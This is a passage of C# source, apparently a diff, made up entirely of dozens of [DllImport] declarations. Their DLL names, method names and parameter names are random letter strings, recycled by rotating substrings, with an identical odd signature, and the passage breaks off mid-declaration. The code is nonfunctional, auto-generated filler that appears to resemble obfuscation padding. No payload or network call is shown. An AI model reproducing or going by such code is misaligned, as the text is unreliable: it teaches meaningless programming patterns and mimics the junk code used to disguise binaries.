[MarshalAs(UnmanagedType.VBByRefStr)] ref string RgCDNWRuKdxQLzfopnsdXeI, - string[] VUkoriIXPzhjFhlzKesfSs, - char POqXpbfFfqkDzWsRJFRhw); - - [DllImport("IyYngQxBVxCQMvJiiJSeHaGd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SGPmhLNtOTbRwFGEJgnuZllBF( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vVvHBTDZJUZVhyNVWfExbdK, - string[] QjrhNIJHMwELbCCRIKCbEi, - char gODXOFSdMLyyaiuXqWtMY); - - [DllImport("dYZXcNGOrTEUYaSrUyjfTneV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] MKEWTpZkpmxPQlmvUBetagzIx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string jtcbPCcyLZHYLPocaUmjGcB, - string[] HDORgCDNWRuKdxQLzfopns, - char dXeIVUkoriIXPzhjFhlzK); - - [DllImport("wSGPmhLNtOTbRwFGEJgnuZll.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] esfSsPOqXpbfFfqkDzWsRJFRh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string BFIyYngQxBVxCQMvJiiJSeH, - string[] aGdvVvHBTDZJUZVhyNVWfE, - char xbdKQjrhNIJHMwELbCCRI); - - [DllImport("YMKEWTpZkpmxPQlmvUBetagz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] KCbEigODXOFSdMLyyaiuXqWtM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IxdYZXcNGOrTEUYaSrUyjfT, - string[] neVjtcbPCcyLZHYLPocaUm, - char jGcBHDORgCDNWRuKdxQLz); - - [DllImport("KesfSsPOqXpbfFfqkDzWsRJF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fopnsdXeIVUkoriIXPzhjFhlz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RhwSGPmhLNtOTbRwFGEJgnu, - string[] ZllBFIyYngQxBVxCQMvJii, - char JSeHaGdvVvHBTDZJUZVhy); - - [DllImport("IKCbEigODXOFSdMLyyaiuXqW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NVWfExbdKQjrhNIJHMwELbCCR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tMYMKEWTpZkpmxPQlmvUBet, - string[] agzIxdYZXcNGOrTEUYaSrU, - char yjfTneVjtcbPCcyLZHYLP); - - [DllImport("zfopnsdXeIVUkoriIXPzhjFh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ocaUmjGcBHDORgCDNWRuKdxQL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lzKesfSsPOqXpbfFfqkDzWs, - string[] RJFRhwSGPmhLNtOTbRwFGE, - char JgnuZllBFIyYngQxBVxCQ); - - [DllImport("yNVWfExbdKQjrhNIJHMwELbC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] MvJiiJSeHaGdvVvHBTDZJUZVh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string CRIKCbEigODXOFSdMLyyaiu, - string[] XqWtMYMKEWTpZkpmxPQlmv, - char UBetagzIxdYZXcNGOrTEU); - - [DllImport("PocaUmjGcBHDORgCDNWRuKdx.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YaSrUyjfTneVjtcbPCcyLZHYL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QLzfopnsdXeIVUkoriIXPzh, - string[] jFhlzKesfSsPOqXpbfFfqk, - char DzWsRJFRhwSGPmhLNtOTb); - - [DllImport("QMvJiiJSeHaGdvVvHBTDZJUZ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] RwFGEJgnuZllBFIyYngQxBVxC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VhyNVWfExbdKQjrhNIJHMwE, - string[] LbCCRIKCbEigODXOFSdMLy, - char yaiuXqWtMYMKEWTpZkpmx); - - [DllImport("UYaSrUyjfTneVjtcbPCcyLZH.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] PQlmvUBetagzIxdYZXcNGOrTE( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YLPocaUmjGcBHDORgCDNWRu, - string[] KdxQLzfopnsdXeIVUkoriI, - char XPzhjFhlzKesfSsPOqXpb); - - [DllImport("bRwFGEJgnuZllBFIyYngQxBV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fFfqkDzWsRJFRhwSGPmhLNtOT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xCQMvJiiJSeHaGdvVvHBTDZ, - string[] JUZVhyNVWfExbdKQjrhNIJ, - char HMwELbCCRIKCbEigODXOF); - - [DllImport("xPQlmvUBetagzIxdYZXcNGOr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SdMLyyaiuXqWtMYMKEWTpZkpm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TEUYaSrUyjfTneVjtcbPCcy, - string[] LZHYLPocaUmjGcBHDORgCD, - char NWRuKdxQLzfopnsdXeIVU); - - [DllImport("bfFfqkDzWsRJFRhwSGPmhLNt.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] koriIXPzhjFhlzKesfSsPOqXp( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string OTbRwFGEJgnuZllBFIyYngQ, - string[] xBVxCQMvJiiJSeHaGdvVvH, - char BTDZJUZVhyNVWfExbdKQj); - - [DllImport("FSdMLyyaiuXqWtMYMKEWTpZk.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rhNIJHMwELbCCRIKCbEigODXO( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pmxPQlmvUBetagzIxdYZXcN, - string[] GOrTEUYaSrUyjfTneVjtcb, - char PCcyLZHYLPocaUmjGcBHD); - - [DllImport("UkoriIXPzhjFhlzKesfSsPOq.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ORgCDNWRuKdxQLzfopnsdXeIV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string XpbfFfqkDzWsRJFRhwSGPmh, - string[] LNtOTbRwFGEJgnuZllBFIy, - char YngQxBVxCQMvJiiJSeHaG); - - [DllImport("jrhNIJHMwELbCCRIKCbEigOD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dvVvHBTDZJUZVhyNVWfExbdKQ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string XOFSdMLyyaiuXqWtMYMKEWT, - string[] pZkpmxPQlmvUBetagzIxdY, - char ZXcNGOrTEUYaSrUyjfTne); - - [DllImport("DORgCDNWRuKdxQLzfopnsdXe.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VjtcbPCcyLZHYLPocaUmjGcBH( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IVUkoriIXPzhjFhlzKesfSs, - string[] POqXpbfFfqkDzWsRJFRhwS, - char GPmhLNtOTbRwFGEJgnuZl); - - [DllImport("GdvVvHBTDZJUZVhyNVWfExbd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lBFIyYngQxBVxCQMvJiiJSeHa( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KQjrhNIJHMwELbCCRIKCbEi, - string[] gODXOFSdMLyyaiuXqWtMYM, - char KEWTpZkpmxPQlmvUBetag); - - [DllImport("eVjtcbPCcyLZHYLPocaUmjGc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zIxdYZXcNGOrTEUYaSrUyjfTn( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string BHDORgCDNWRuKdxQLzfopns, - string[] dXeIVUkoriIXPzhjFhlzKe, - char sfSsPOqXpbfFfqkDzWsRJ); - - [DllImport("llBFIyYngQxBVxCQMvJiiJSe.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FRhwSGPmhLNtOTbRwFGEJgnuZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HaGdvVvHBTDZJUZVhyNVWfE, - string[] xbdKQjrhNIJHMwELbCCRIK, - char CbEigODXOFSdMLyyaiuXq); - - [DllImport("gzIxdYZXcNGOrTEUYaSrUyjf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] WtMYMKEWTpZkpmxPQlmvUBeta( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TneVjtcbPCcyLZHYLPocaUm, - string[] jGcBHDORgCDNWRuKdxQLzf, - char opnsdXeIVUkoriIXPzhjF); - - [DllImport("JFRhwSGPmhLNtOTbRwFGEJgn.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hlzKesfSsPOqXpbfFfqkDzWsR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string uZllBFIyYngQxBVxCQMvJii, - string[] JSeHaGdvVvHBTDZJUZVhyN, - char VWfExbdKQjrhNIJHMwELb); - - [DllImport("qWtMYMKEWTpZkpmxPQlmvUBe.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CCRIKCbEigODXOFSdMLyyaiuX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tagzIxdYZXcNGOrTEUYaSrU, - string[] yjfTneVjtcbPCcyLZHYLPo, - char caUmjGcBHDORgCDNWRuKd); - - [DllImport("FhlzKesfSsPOqXpbfFfqkDzW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] xQLzfopnsdXeIVUkoriIXPzhj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sRJFRhwSGPmhLNtOTbRwFGE, - string[] JgnuZllBFIyYngQxBVxCQM, - char vJiiJSeHaGdvVvHBTDZJU); - - [DllImport("bCCRIKCbEigODXOFSdMLyyai.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZVhyNVWfExbdKQjrhNIJHMwEL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string uXqWtMYMKEWTpZkpmxPQlmv, - string[] UBetagzIxdYZXcNGOrTEUY, - char aSrUyjfTneVjtcbPCcyLZ); - - [DllImport("dxQLzfopnsdXeIVUkoriIXPz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] HYLPocaUmjGcBHDORgCDNWRuK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hjFhlzKesfSsPOqXpbfFfqk, - string[] DzWsRJFRhwSGPmhLNtOTbR, - char wFGEJgnuZllBFIyYngQxB); - - [DllImport("UZVhyNVWfExbdKQjrhNIJHMw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VxCQMvJiiJSeHaGdvVvHBTDZJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ELbCCRIKCbEigODXOFSdMLy, - string[] yaiuXqWtMYMKEWTpZkpmxP, - char QlmvUBetagzIxdYZXcNGO); - - [DllImport("ZHYLPocaUmjGcBHDORgCDNWR.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rTEUYaSrUyjfTneVjtcbPCcyL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string uKdxQLzfopnsdXeIVUkoriI, - string[] XPzhjFhlzKesfSsPOqXpbf, - char FfqkDzWsRJFRhwSGPmhLN); - - [DllImport("BVxCQMvJiiJSeHaGdvVvHBTD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] tOTbRwFGEJgnuZllBFIyYngQx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZJUZVhyNVWfExbdKQjrhNIJ, - string[] HMwELbCCRIKCbEigODXOFS, - char dMLyyaiuXqWtMYMKEWTpZ); - - [DllImport("OrTEUYaSrUyjfTneVjtcbPCc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] kpmxPQlmvUBetagzIxdYZXcNG( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yLZHYLPocaUmjGcBHDORgCD, - string[] NWRuKdxQLzfopnsdXeIVUk, - char oriIXPzhjFhlzKesfSsPO); - - [DllImport("NtOTbRwFGEJgnuZllBFIyYng.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qXpbfFfqkDzWsRJFRhwSGPmhL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QxBVxCQMvJiiJSeHaGdvVvH, - string[] BTDZJUZVhyNVWfExbdKQjr, - char hNIJHMwELbCCRIKCbEigO); - - [DllImport("ZkpmxPQlmvUBetagzIxdYZXc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DXOFSdMLyyaiuXqWtMYMKEWTp( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NGOrTEUYaSrUyjfTneVjtcb, - string[] PCcyLZHYLPocaUmjGcBHDO, - char RgCDNWRuKdxQLzfopnsdX); - - [DllImport("cElDosTsFyROkGeXTevLgTdB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] eIVUkoriIkdNvxSuzNXsGtfHd( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vZbHbhoeKTUSXuBImzyPSVN, - string[] mBteMOiLQdaJWvvXfsUoTr, - char JjKVPhQmWhnjuMbiktRMp); - - [DllImport("cRlbSgqZZMMnwJkFjIalaXRj.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rYexGuaWWVZLRYpQPfVYQoSwu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gEnxEzMcdyBKhPrIouOWLqm, - string[] mlqbUbGgSilogFiNwshCsi, - char wHppcPqNZnVmYcDqnhzwU); - - [DllImport("krWjiyCFwVkdNvxSuzNXsGtf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] pOUQcftPRakfJYqLeYOtDDCHr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HdcElDosTsFyROkGeXTevLg, - string[] TdBvZbHbhoeKTUSXuBImzy, - char PSVNmBteMOiLQdaJWvvXf); - - [DllImport("prYexGuaWWVZLRYpQPfVYQoS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] sUoTrJjKVPhQmWhnjuMbiktRM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wucRlbSgqZZMMnwJkFjIala, - string[] XRjgEnxEzMcdyBKhPrIouO, - char WLqmmlqbUbGgSilogFiNw); - - [DllImport("UpOUQcftPRakfJYqLeYOtDDC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] shCsiwHppcPqNZnVmYcDqnhzw( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HrkrWjiyCFwVkdNvxSuzNXs, - string[] GtfHdcElDosTsFyROkGeXT, - char evLgTdBvZbHbhoeKTUSXu); - - [DllImport("fsUoTrJjKVPhQmWhnjuMbikt.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BImzyPSVNmBteMOiLQdaJWvvX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RMprYexGuaWWVZLRYpQPfVY, - string[] QoSwucRlbSgqZZMMnwJkFj, - char IalaXRjgEnxEzMcdyBKhP); - - [DllImport("wshCsiwHppcPqNZnVmYcDqnh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rIouOWLqmmlqbUbGgSilogFiN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string zwUpOUQcftPRakfJYqLeYOt, - string[] DDCHrkrWjiyCFwVkdNvxSu, - char zNXsGtfHdcElDosTsFyRO); - - [DllImport("uBImzyPSVNmBteMOiLQdaJWv.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] kGeXTevLgTdBvZbHbhoeKTUSX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vXfsUoTrJjKVPhQmWhnjuMb, - string[] iktRMprYexGuaWWVZLRYpQ, - char PfVYQoSwucRlbSgqZZMMn); - - [DllImport("PrIouOWLqmmlqbUbGgSilogF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wJkFjIalaXRjgEnxEzMcdyBKh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string iNwshCsiwHppcPqNZnVmYcD, - string[] qnhzwUpOUQcftPRakfJYqL, - char eYOtDDCHrkrWjiyCFwVkd); - - [DllImport("OkGeXTevLgTdBvZbHbhoeKTU.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NvxSuzNXsGtfHdcElDosTsFyR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SXuBImzyPSVNmBteMOiLQda, - string[] JWvvXfsUoTrJjKVPhQmWhn, - char juMbiktRMprYexGuaWWVZ); - - [DllImport("nwJkFjIalaXRjgEnxEzMcdyB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] LRYpQPfVYQoSwucRlbSgqZZMM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KhPrIouOWLqmmlqbUbGgSil, - string[] ogFiNwshCsiwHppcPqNZnV, - char mYcDqnhzwUpOUQcftPRak); - - [DllImport("dNvxSuzNXsGtfHdcElDosTsF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fJYqLeYOtDDCHrkrWjiyCFwVk( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yROkGeXTevLgTdBvZbHbhoe, - string[] KTUSXuBImzyPSVNmBteMOi, - char LQdaJWvvXfsUoTrJjKVPh); - - [DllImport("ZLRYpQPfVYQoSwucRlbSgqZZ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] QmWhnjuMbiktRMprYexGuaWWV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MMnwJkFjIalaXRjgEnxEzMc, - string[] dyBKhPrIouOWLqmmlqbUbG, - char gSilogFiNwshCsiwHppcP); - - [DllImport("kfJYqLeYOtDDCHrkrWjiyCFw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qNZnVmYcDqnhzwUpOUQcftPRa( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VkdNvxSuzNXsGtfHdcElDos, - string[] TsFyROkGeXTevLgTdBvZbH, - char bhoeKTUSXuBImzyPSVNmB); - - [DllImport("hQmWhnjuMbiktRMprYexGuaW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] teMOiLQdaJWvvXfsUoTrJjKVP( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WVZLRYpQPfVYQoSwucRlbSg, - string[] qZZMMnwJkFjIalaXRjgEnx, - char EzMcdyBKhPrIouOWLqmml); - - [DllImport("PqNZnVmYcDqnhzwUpOUQcftP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qbUbGgSilogFiNwshCsiwHppc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RakfJYqLeYOtDDCHrkrWjiy, - string[] CFwVkdNvxSuzNXsGtfHdcE, - char lDosTsFyROkGeXTevLgTd); - - [DllImport("BteMOiLQdaJWvvXfsUoTrJjK.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BvZbHbhoeKTUSXuBImzyPSVNm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VPhQmWhnjuMbiktRMprYexG, - string[] uaWWVZLRYpQPfVYQoSwucR, - char lbSgqZZMMnwJkFjIalaXR); - - [DllImport("lqbUbGgSilogFiNwshCsiwHp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jgEnxEzMcdyBKhPrIouOWLqmm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pcPqNZnVmYcDqnhzwUpOUQc, - string[] ftPRakfJYqLeYOtDDCHrkr, - char WjiyCFwVkdNvxSuzNXsGt); - - [DllImport("dBvZbHbhoeKTUSXuBImzyPSV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fHdcElDosTsFyROkGeXTevLgT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NmBteMOiLQdaJWvvXfsUoTr, - string[] JjKVPhQmWhnjuMbiktRMpr, - char YexGuaWWVZLRYpQPfVYQo); - - [DllImport("RjgEnxEzMcdyBKhPrIouOWLq.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SwucRlbSgqZZMMnwJkFjIalaX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mmlqbUbGgSilogFiNwshCsi, - string[] wHppcPqNZnVmYcDqnhzwUp, - char OUQcftPRakfJYqLeYOtDD); - - [DllImport("tfHdcElDosTsFyROkGeXTevL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CHrkrWjiyCFwVkdNvxSuzNXsG( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gTdBvZbHbhoeKTUSXuBImzy, - string[] PSVNmBteMOiLQdaJWvvXfs, - char UoTrJjKVPhQmWhnjuMbik); - - [DllImport("oSwucRlbSgqZZMMnwJkFjIal.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] tRMprYexGuaWWVZLRYpQPfVYQ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string aXRjgEnxEzMcdyBKhPrIouO, - string[] WLqmmlqbUbGgSilogFiNws, - char hCsiwHppcPqNZnVmYcDqn); - - [DllImport("DCHrkrWjiyCFwVkdNvxSuzNX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hzwUpOUQcftPRakfJYqLeYOtD( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sGtfHdcElDosTsFyROkGeXT, - string[] evLgTdBvZbHbhoeKTUSXuB, - char ImzyPSVNmBteMOiLQdaJW); - - [DllImport("ktRMprYexGuaWWVZLRYpQPfV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vvXfsUoTrJjKVPhQmWhnjuMbi( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YQoSwucRlbSgqZZMMnwJkFj, - string[] IalaXRjgEnxEzMcdyBKhPr, - char IouOWLqmmlqbUbGgSilog); - - [DllImport("nhzwUpOUQcftPRakfJYqLeYO.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FiNwshCsiwHppcPqNZnVmYcDq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tDDCHrkrWjiyCFwVkdNvxSu, - string[] zNXsGtfHdcElDosTsFyROk, - char GeXTevLgTdBvZbHbhoeKT); - - [DllImport("WvvXfsUoTrJjKVPhQmWhnjuM.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] USXuBImzyPSVNmBteMOiLQdaJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string biktRMprYexGuaWWVZLRYpQ, - string[] PfVYQoSwucRlbSgqZZMMnw, - char JkFjIalaXRjgEnxEzMcdy); - - [DllImport("gFiNwshCsiwHppcPqNZnVmYc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BKhPrIouOWLqmmlqbUbGgSilo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string DqnhzwUpOUQcftPRakfJYqL, - string[] eYOtDDCHrkrWjiyCFwVkdN, - char vxSuzNXsGtfHdcElDosTs); - - [DllImport("TUSXuBImzyPSVNmBteMOiLQd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FyROkGeXTevLgTdBvZbHbhoeK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string aJWvvXfsUoTrJjKVPhQmWhn, - string[] juMbiktRMprYexGuaWWVZL, - char RYpQPfVYQoSwucRlbSgqZ); - - [DllImport("yBKhPrIouOWLqmmlqbUbGgSi.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZMMnwJkFjIalaXRjgEnxEzMcd( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string logFiNwshCsiwHppcPqNZnV, - string[] mYcDqnhzwUpOUQcftPRakf, - char JYqLeYOtDDCHrkrWjiyCF); - - [DllImport("sFyROkGeXTevLgTdBvZbHbho.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wVkdNvxSuzNXsGtfHdcElDosT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string eKTUSXuBImzyPSVNmBteMOi, - string[] LQdaJWvvXfsUoTrJjKVPhQ, - char mWhnjuMbiktRMprYexGua); - - [DllImport("ZZMMnwJkFjIalaXRjgEnxEzM.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] WWVZLRYpQPfVYQoSwucRlbSgq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string cdyBKhPrIouOWLqmmlqbUbG, - string[] gSilogFiNwshCsiwHppcPq, - char NZnVmYcDqnhzwUpOUQcft); - - [DllImport("FwVkdNvxSuzNXsGtfHdcElDo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] PRakfJYqLeYOtDDCHrkrWjiyC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sTsFyROkGeXTevLgTdBvZbH, - string[] bhoeKTUSXuBImzyPSVNmBt, - char eMOiLQdaJWvvXfsUoTrJj); - - [DllImport("aWWVZLRYpQPfVYQoSwucRlbS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] KVPhQmWhnjuMbiktRMprYexGu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gqZZMMnwJkFjIaznlfxuRBM, - string[] SOZqrNOYvcGVCIbjZFzByE, - char oipTufvzCtTvaLHuQGwLV); - - [DllImport("IdeoxsWlFZrmcIQRPUGyGjwv.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] EEqdEanCizmqQECvOLhEcieps( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MQTKjyrbJMgJNblGUHtUqpS, - string[] zRDHgHSMebxUskgsKYthqO, - char JmoVpuDsYhhfkIPWBNNcg); - - [DllImport("wXicueBkvBxJaowxHfZDFlrL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jbzPIrZcwZdroXkKKltGiChFX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TJojkinYfmDedtjldDfKIpe, - string[] ypguFnmaaCKWySxWnznlfx, - char uRBMSOZqrNOYvcGVCIbjZ); - - [DllImport("VEEqdEanCizmqQECvOLhEcie.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FzByEoipTufvzCtTvaLHuQGwL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string psIdeoxsWlFZrmcIQRPUGyG, - string[] jwvMQTKjyrbJMgJNblGUHt, - char UqpSzRDHgHSMebxUskgsK); - - [DllImport("gjbzPIrZcwZdroXkKKltGiCh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YthqOJmoVpuDsYhhfkIPWBNNc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FXwXicueBkvBxJaowxHfZDF, - string[] lrLTJojkinYfmDedtjldDf, - char KIpeypguFnmaaCKWySxWn); - - [DllImport("ZFzByEoipTufvzCtTvaLHuQG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] znlfxuRBMSOZqrNOYvcGVCIbj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wLVEEqdEanCizmqQECvOLhE, - string[] ciepsIdeoxsWlFZrmcIQRP, - char UGyGjwvMQTKjyrbJMgJNb); - - [DllImport("KYthqOJmoVpuDsYhhfkIPWBN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lGUHtUqpSzRDHgHSMebxUskgs( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NcgjbzPIrZcwZdroXkKKltG, - string[] iChFXwXicueBkvBxJaowxH, - char fZDFlrLTJojkinYfmDedt); - - [DllImport("nznlfxuRBMSOZqrNOYvcGVCI.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jldDfKIpeypguFnmaaCKWySxW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bjZFzByEoipTufvzCtTvaLH, - string[] uQGwLVEEqdEanCizmqQECv, - char OLhEciepsIdeoxsWlFZrm); - - [DllImport("blGUHtUqpSzRDHgHSMebxUsk.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cIQRPUGyGjwvMQTKjyrbJMgJN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gsKYthqOJmoVpuDsYhhfkIP, - string[] WBNNcgjbzPIrZcwZdroXkK, - char KltGiChFXwXicueBkvBxJ); - - [DllImport("tjldDfKIpeypguFnmaaCKWyS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aowxHfZDFlrLTJojkinYfmDed( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xWnznlfxuRBMSOZqrNOYvcG, - string[] VCIbjZFzByEoipTufvzCtT, - char vaLHuQGwLVEEqdEanCizm); - - [DllImport("mcIQRPUGyGjwvMQTKjyrbJMg.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qQECvOLhEciepsIdeoxsWlFZr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string JNblGUHtUqpSzRDHgHSMebx, - string[] UskgsKYthqOJmoVpuDsYhh, - char fkIPWBNNcgjbzPIrZcwZd); - - [DllImport("JaowxHfZDFlrLTJojkinYfmD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] roXkKKltGiChFXwXicueBkvBx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string edtjldDfKIpeypguFnmaaCK, - string[] WySxWnznlfxuRBMSOZqrNO, - char YvcGVCIbjZFzByEoipTuf); - - [DllImport("mqQECvOLhEciepsIdeoxsWlF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vzCtTvaLHuQGwLVEEqdEanCiz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string 